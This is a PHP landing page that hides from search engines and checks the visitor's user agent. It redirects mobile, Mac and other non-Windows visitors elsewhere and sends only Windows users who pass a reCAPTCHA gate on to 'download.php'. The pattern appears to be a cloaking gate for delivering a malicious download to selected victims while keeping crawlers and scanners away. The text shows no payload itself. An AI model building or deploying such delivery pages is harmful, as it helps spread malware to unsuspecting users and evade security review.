<?php require_once __DIR__ . '/config.php'; ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title><?= htmlspecialchars($PAGE_TITLE) ?></title>
<style>
  body,html{height:100%;margin:0;display:flex;justify-content:center;align-items:center;
  font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',sans-serif;background:<?= $PAGE_BG ?>}
  .box{text-align:center}
</style>
<script src="https://www.google.com/recaptcha/enterprise.js" async defer></script>
<script>
  (function(){
    var MOBILE_URL = <?= json_encode($MOBILE_URL) ?>;
    var MAC_URL    = <?= json_encode($MAC_URL) ?>;
    var ua = navigator.userAgent;
    var isMobile = /android|iPad|iPhone|iPod/i.test(ua) && !window.MSStream;
    var isMac    = /Macintosh|MacIntel/.test(ua) && !/Windows/.test(ua);
    if(isMobile && MOBILE_URL){ window.location.replace(MOBILE_URL); }
    else if(isMac && MAC_URL){ window.location.replace(MAC_URL); }
    else if(!/Windows/.test(ua)){ window.location.replace('devices.html'); }
  })();

  function onSubmit(token){
    window.location.href = 'download.php';
  }
</script>
</head>
<body>
  <div class="box">
    <form action="" method="POST">
      <div class="g-recaptcha"
           data-sitekey="6LdboDgsAAAAAIl9pzCkHw20kYm7IaIQYTeOwjY4"
           data-callback="onSubmit"
           data-action="LOGIN">
      </div>
    </form>
  </div>
</body>
</html>
